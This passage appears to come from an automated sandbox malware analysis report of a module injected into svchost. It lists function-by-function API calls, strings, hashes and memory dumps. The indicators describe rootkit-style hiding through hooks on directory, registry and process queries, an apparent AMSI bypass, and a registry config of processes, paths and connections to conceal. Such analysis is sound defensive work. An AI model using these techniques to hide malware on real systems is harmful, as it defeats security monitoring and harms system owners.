TlsAlloc.KERNEL32 ref: 000002A661302055
TlsAlloc.KERNEL32 ref: 000002A661302061
TlsAlloc.KERNEL32 ref: 000002A66130206D
TlsAlloc.KERNEL32 ref: 000002A661302079
TlsAlloc.KERNEL32 ref: 000002A661302085

Strings

NtQueryDirectoryFile, xrefs: 000002A661301EDF
NtEnumerateKey, xrefs: 000002A661301F19
pdh.dll, xrefs: 000002A661301FD7, 000002A661301FF8
NtDeviceIoControlFile, xrefs: 000002A661301FB6
NtQueryDirectoryFileEx, xrefs: 000002A661301EFC
EnumServiceGroupW, xrefs: 000002A661301F50
ntdll.dll, xrefs: 000002A661301E8D
AmsiScanBuffer, xrefs: 000002A661302012
amsi.dll, xrefs: 000002A661302019
NtQuerySystemInformation, xrefs: 000002A661301EA5
NtEnumerateValueKey, xrefs: 000002A661301F36
EnumServicesStatusExW, xrefs: 000002A661301F71, 000002A661301F92
PdhGetRawCounterArrayW, xrefs: 000002A661301FD0
PdhGetFormattedCounterArrayW, xrefs: 000002A661301FF1
NtResumeThread, xrefs: 000002A661301EC2
advapi32.dll, xrefs: 000002A661301F57, 000002A661301F78
sechost.dll, xrefs: 000002A661301F99

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Alloc$Thread$AddressCreateCurrentHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 1735320900-4225371247
Opcode ID: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction ID: 1d8c54a57d6576012f959ce61210d1bdffab2f1e7e04f858be4e63cfd44f8a1b
Opcode Fuzzy Hash: 03b1670190296a985cca1de1054792f3360a7fe3fa664d1b18e69e842768ce50
Instruction Fuzzy Hash: 4F517FA4F10A4AA7EE00EBA4EE4E7D4336CA746F45F880523940B23165DF7C865EC382

Function 000002A661301E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002A661301E47
GetProcAddress.KERNEL32 ref: 000002A661301E57
SleepEx.KERNELBASE ref: 000002A661301E67

Strings

AmsiScanBuffer, xrefs: 000002A661301E50
amsi.dll, xrefs: 000002A661301E40

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: c1ac5e7ad3bf4f070cb0e86cadc43a41dd63b8a78b66ff7892f0b8646b5409cd
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 24D06721F21600D7EE096B51E89E3583269AB67F41FCC1425C50F232A0DF2C895DC342

Function 000002A661303A1C Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A661303A35
PathFindFileNameW.SHLWAPI ref: 000002A661303A44

Part of subcall function 000002A661303F88: StrCmpNIW.KERNELBASE(?,?,?,000002A66130272F), ref: 000002A661303FA0

Part of subcall function 000002A661303EC8: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303EDB
Part of subcall function 000002A661303EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F0E
Part of subcall function 000002A661303EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F2E
Part of subcall function 000002A661303EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F47
Part of subcall function 000002A661303EC8: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F68

CreateThread.KERNELBASE ref: 000002A661303A8B

Part of subcall function 000002A661301E74: GetCurrentThread.KERNEL32 ref: 000002A661301E7F
Part of subcall function 000002A661301E74: CreateThread.KERNELBASE ref: 000002A661302043
Part of subcall function 000002A661301E74: TlsAlloc.KERNEL32 ref: 000002A661302049
Part of subcall function 000002A661301E74: TlsAlloc.KERNEL32 ref: 000002A661302055
Part of subcall function 000002A661301E74: TlsAlloc.KERNEL32 ref: 000002A661302061
Part of subcall function 000002A661301E74: TlsAlloc.KERNEL32 ref: 000002A66130206D
Part of subcall function 000002A661301E74: TlsAlloc.KERNEL32 ref: 000002A661302079
Part of subcall function 000002A661301E74: TlsAlloc.KERNEL32 ref: 000002A661302085

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: 9c889205013aa1f344880fe51b1c90f5b32aed787e9b3b341f17e014cbfa7cea
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: C9114C35F20A418BFB60E720A54DB9922E8A797F57F5841299407A31D0EF7DC49C8682

Function 000002A661303F88 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,000002A66130272F), ref: 000002A661303FA0

Strings

$nya-, xrefs: 000002A661303F99

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID:
String ID: $nya-
API String ID: 0-1266920357
Opcode ID: 3efaac12778606dcc95ddaec52b91f85937fb41b3d0fc3d1e7fd65e0d6b9b78d
Instruction ID: 289fbf2455b5e5c93a4e915df526f1d2752526101905a9e540ef56bccb4f3004
Opcode Fuzzy Hash: 3efaac12778606dcc95ddaec52b91f85937fb41b3d0fc3d1e7fd65e0d6b9b78d
Instruction Fuzzy Hash: 3FD05E60B216058BEB54DFA18CDDAA073A8AB15F05F4C4035D90213500DF5C898EC711

Function 000002A6612D2EBC Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000002A6612D302E

Memory Dump Source

Source File: 0000000B.00000003.2183186665.000002A6612D0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_2a6612d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction ID: e242a0e5e891d3b9585325ebcd0ed74b4126737d0569d2fa288020d7ea7cd497
Opcode Fuzzy Hash: da5dba7eb06952aa6345e7caa7b696f440210d15dc911575dfa97e0e60fe5b6d
Instruction Fuzzy Hash: 1D9100B2F0125187EB60CF25D408B69B3ADFB46F98F588120DE4947788DF38D886C701

Function 000002A661301BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A661301724: GetProcessHeap.KERNEL32 ref: 000002A66130172F
Part of subcall function 000002A661301724: HeapAlloc.KERNEL32 ref: 000002A66130173E
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017AE
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017DB
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A6613017F5
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A661301815
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A661301830
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A661301850
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A66130186B
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A66130188B
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A6613018A6
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A6613018C6

SleepEx.KERNELBASE ref: 000002A661301BDF

Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A6613018E1
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A661301901
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A66130191C
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A66130193C
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A661301957
Part of subcall function 000002A661301724: RegOpenKeyExW.ADVAPI32 ref: 000002A661301977
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A661301992
Part of subcall function 000002A661301724: RegCloseKey.ADVAPI32 ref: 000002A66130199C

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: 7e09be3a26c553d09d1367f6d9cb0504d23b14bf07e7149b4d8dfcef5065d6bf
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: 8D312175B0064193FF50EB26D64D36963FCAB46FC9F0C54219E0BA7396DF2CC8588296

Non-executed Functions

Function 000002A661302FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002A661303094
lstrlenW.KERNEL32 ref: 000002A6613032BE

Part of subcall function 000002A661301A30: OpenProcess.KERNEL32 ref: 000002A661301A56
Part of subcall function 000002A661301A30: K32GetModuleFileNameExW.KERNEL32 ref: 000002A661301A74
Part of subcall function 000002A661301A30: PathFindFileNameW.SHLWAPI ref: 000002A661301A83
Part of subcall function 000002A661301A30: lstrlenW.KERNEL32 ref: 000002A661301A8F
Part of subcall function 000002A661301A30: StrCpyW.SHLWAPI ref: 000002A661301AA2
Part of subcall function 000002A661301A30: CloseHandle.KERNEL32 ref: 000002A661301AB0

GetProcAddress.KERNEL32 ref: 000002A6613030A9

Part of subcall function 000002A661303F88: StrCmpNIW.KERNELBASE(?,?,?,000002A66130272F), ref: 000002A661303FA0

StrCmpNIW.SHLWAPI ref: 000002A6613030EC
lstrlenW.KERNEL32 ref: 000002A661303214

Strings

ntdll.dll, xrefs: 000002A66130308D
NtQueryObject, xrefs: 000002A66130309F
\Device\Nsi, xrefs: 000002A6613030DF

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: cf6f36a31f903a9fd4c55300e873ced9e69f280ad63d237708999190b6d26dd8
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: EAB17122B106908BEB58DF26D54CB99A3ECF746F85F485016EE0A63794DF39CD48C381

Function 000002A66130CD80 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 86
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.NTDLL ref: 000002A66130CE0B
RtlLookupFunctionEntry.NTDLL ref: 000002A66130CE23
RtlVirtualUnwind.NTDLL ref: 000002A66130CE5E
IsDebuggerPresent.KERNEL32 ref: 000002A66130CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A66130CEA1
UnhandledExceptionFilter.KERNEL32 ref: 000002A66130CEAC

Strings

_$6Z, xrefs: 000002A66130CD9D

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: _$6Z
API String ID: 1239891234-452956228
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: d5c17cb4c7cf3c909d74c4f272eb40ba0ff49c0d8d52303684d6dee485b2997d
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: 58419E32B14B8087E760CF24E84939E73A8F78AB55F580115EA8E57B98DF3CC559CB41

Function 000002A6613084B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002A6613084CC
RtlCaptureContext.NTDLL ref: 000002A6613084F9
RtlLookupFunctionEntry.NTDLL ref: 000002A661308513
RtlVirtualUnwind.NTDLL ref: 000002A661308554
IsDebuggerPresent.KERNEL32 ref: 000002A6613085A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A6613085C5
UnhandledExceptionFilter.KERNEL32 ref: 000002A6613085D0

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: 7c7bed2822bbbddefe14a2c4e8ae70cd1b929ef9ccd2928db9dd9b6c0cd6b6fb
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 17314172B05B8086EB608F60E8593DD73A8F786B49F48442ADA4E67B98DF7CC54CC711

Function 000002A66130DA18 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 000002A66130DB99
FindNextFileW.KERNEL32 ref: 000002A66130DCCF
FindClose.KERNEL32 ref: 000002A66130DD0F
FindClose.KERNEL32 ref: 000002A66130DD3B

Strings

_$6Z, xrefs: 000002A66130DA32

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID: _$6Z
API String ID: 1164774033-452956228
Opcode ID: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction ID: d800bea69320285669c55395fba52c8977cf73a79cf2f715dd0c395abd9f532e
Opcode Fuzzy Hash: 30129107364e07a24944f029efc6e57ddf7bba8b8a305cfb4bfa64c3d4dd41e4
Instruction Fuzzy Hash: E3A1D522B046804BFB20DB75A48C3AD6BE9E743F95F1C4115DA9A37A99DF3CC44AC742

Function 000002A661301724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002A66130172F
HeapAlloc.KERNEL32 ref: 000002A66130173E

Part of subcall function 000002A661301264: GetProcessHeap.KERNEL32 ref: 000002A66130126A
Part of subcall function 000002A661301264: HeapAlloc.KERNEL32 ref: 000002A661301279
Part of subcall function 000002A661301264: GetProcessHeap.KERNEL32 ref: 000002A661301293
Part of subcall function 000002A661301264: HeapAlloc.KERNEL32 ref: 000002A6613012A4

Part of subcall function 000002A661301000: GetProcessHeap.KERNEL32 ref: 000002A661301006
Part of subcall function 000002A661301000: HeapAlloc.KERNEL32 ref: 000002A661301015
Part of subcall function 000002A661301000: GetProcessHeap.KERNEL32 ref: 000002A661301028
Part of subcall function 000002A661301000: HeapAlloc.KERNEL32 ref: 000002A661301037

RegOpenKeyExW.ADVAPI32 ref: 000002A6613017AE
RegOpenKeyExW.ADVAPI32 ref: 000002A6613017DB
RegCloseKey.ADVAPI32 ref: 000002A6613017F5
RegOpenKeyExW.ADVAPI32 ref: 000002A661301815
RegCloseKey.ADVAPI32 ref: 000002A661301830
RegOpenKeyExW.ADVAPI32 ref: 000002A661301850
RegCloseKey.ADVAPI32 ref: 000002A66130186B
RegOpenKeyExW.ADVAPI32 ref: 000002A66130188B
RegCloseKey.ADVAPI32 ref: 000002A6613018A6
RegOpenKeyExW.ADVAPI32 ref: 000002A6613018C6
RegCloseKey.ADVAPI32 ref: 000002A6613018E1
RegOpenKeyExW.ADVAPI32 ref: 000002A661301901
RegCloseKey.ADVAPI32 ref: 000002A66130191C
RegOpenKeyExW.ADVAPI32 ref: 000002A66130193C
RegCloseKey.ADVAPI32 ref: 000002A661301957
RegOpenKeyExW.ADVAPI32 ref: 000002A661301977
RegCloseKey.ADVAPI32 ref: 000002A661301992
RegCloseKey.ADVAPI32 ref: 000002A66130199C

Part of subcall function 000002A6613012B8: RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301315
Part of subcall function 000002A6613012B8: GetProcessHeap.KERNEL32 ref: 000002A661301323
Part of subcall function 000002A6613012B8: HeapAlloc.KERNEL32 ref: 000002A661301334
Part of subcall function 000002A6613012B8: RegEnumValueW.ADVAPI32 ref: 000002A661301393
Part of subcall function 000002A6613012B8: GetProcessHeap.KERNEL32 ref: 000002A6613013DB
Part of subcall function 000002A6613012B8: HeapAlloc.KERNEL32 ref: 000002A6613013E9
Part of subcall function 000002A6613012B8: GetProcessHeap.KERNEL32 ref: 000002A661301406
Part of subcall function 000002A6613012B8: HeapFree.KERNEL32 ref: 000002A661301414
Part of subcall function 000002A6613012B8: lstrlenW.KERNEL32 ref: 000002A66130141D
Part of subcall function 000002A6613012B8: GetProcessHeap.KERNEL32 ref: 000002A66130142B
Part of subcall function 000002A6613012B8: HeapAlloc.KERNEL32 ref: 000002A661301439

Strings

service_names, xrefs: 000002A6613018BF
paths, xrefs: 000002A661301884
SOFTWARE\$nya-config, xrefs: 000002A66130178E
tcp_local, xrefs: 000002A6613018FA
udp, xrefs: 000002A661301970
pid, xrefs: 000002A66130180E
startup, xrefs: 000002A6613017D1
tcp_remote, xrefs: 000002A661301935
process_names, xrefs: 000002A661301849

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$nya-config$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3572789727
Opcode ID: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction ID: 228cb54c9f24d9abbe7ae523bc510dcbd55cd971a479beb4ba48184290aa91fe
Opcode Fuzzy Hash: b9204f2ea4f4db16e4783a971f3715691613b435cf091f5c94434eae8088fe12
Instruction Fuzzy Hash: AB711736B10A5086EB10DF65E89D69933B8FB86F8DF485121DA4E63B68DF38C548C381

Function 000002A6613012B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301315
GetProcessHeap.KERNEL32 ref: 000002A661301323
HeapAlloc.KERNEL32 ref: 000002A661301334
RegEnumValueW.ADVAPI32 ref: 000002A661301393

Part of subcall function 000002A661301530: StrCmpIW.SHLWAPI ref: 000002A661301561

GetProcessHeap.KERNEL32 ref: 000002A6613013DB
HeapAlloc.KERNEL32 ref: 000002A6613013E9
GetProcessHeap.KERNEL32 ref: 000002A661301406
HeapFree.KERNEL32 ref: 000002A661301414
lstrlenW.KERNEL32 ref: 000002A66130141D
GetProcessHeap.KERNEL32 ref: 000002A66130142B
HeapAlloc.KERNEL32 ref: 000002A661301439
StrCpyW.SHLWAPI ref: 000002A66130145B
GetProcessHeap.KERNEL32 ref: 000002A661301472
HeapFree.KERNEL32 ref: 000002A661301480

Strings

d, xrefs: 000002A661301356

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction ID: 8174c13da692b48cf880c32ba8988f71a7fcdaa5d5fe7493dd048a9d9e62287d
Opcode Fuzzy Hash: 09f32700ea8f2ab6ca5eb204845fa7f8e408035f576c0366055c572951769e92
Instruction Fuzzy Hash: 7C514A32B10B849BEB25CF62E44D35A77A5F78AF99F484124DE4A17768DF3CC0498741

Function 000002A66130EF88 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 140
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000100,00000000,000002A66130F34A,?,?,00000000,000002A66130F2CD), ref: 000002A66130EFF5
GetLastError.KERNEL32(?,?,00000000,000002A66130F2CD), ref: 000002A66130F007
LoadLibraryExW.KERNEL32(?,?,00000000,000002A66130F2CD), ref: 000002A66130F049
VirtualProtect.KERNEL32 ref: 000002A66130F0A5
VirtualProtect.KERNEL32 ref: 000002A66130F0D6
FreeLibrary.KERNEL32(?,?,00000000,000002A66130F2CD), ref: 000002A66130F11A
GetProcAddress.KERNEL32(?,?,00000000,000002A66130F2CD), ref: 000002A66130F126

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 000002A66130F157, 000002A66130F165
ext-ms-, xrefs: 000002A66130F02E
api-ms-, xrefs: 000002A66130F01B

Memory Dump Source

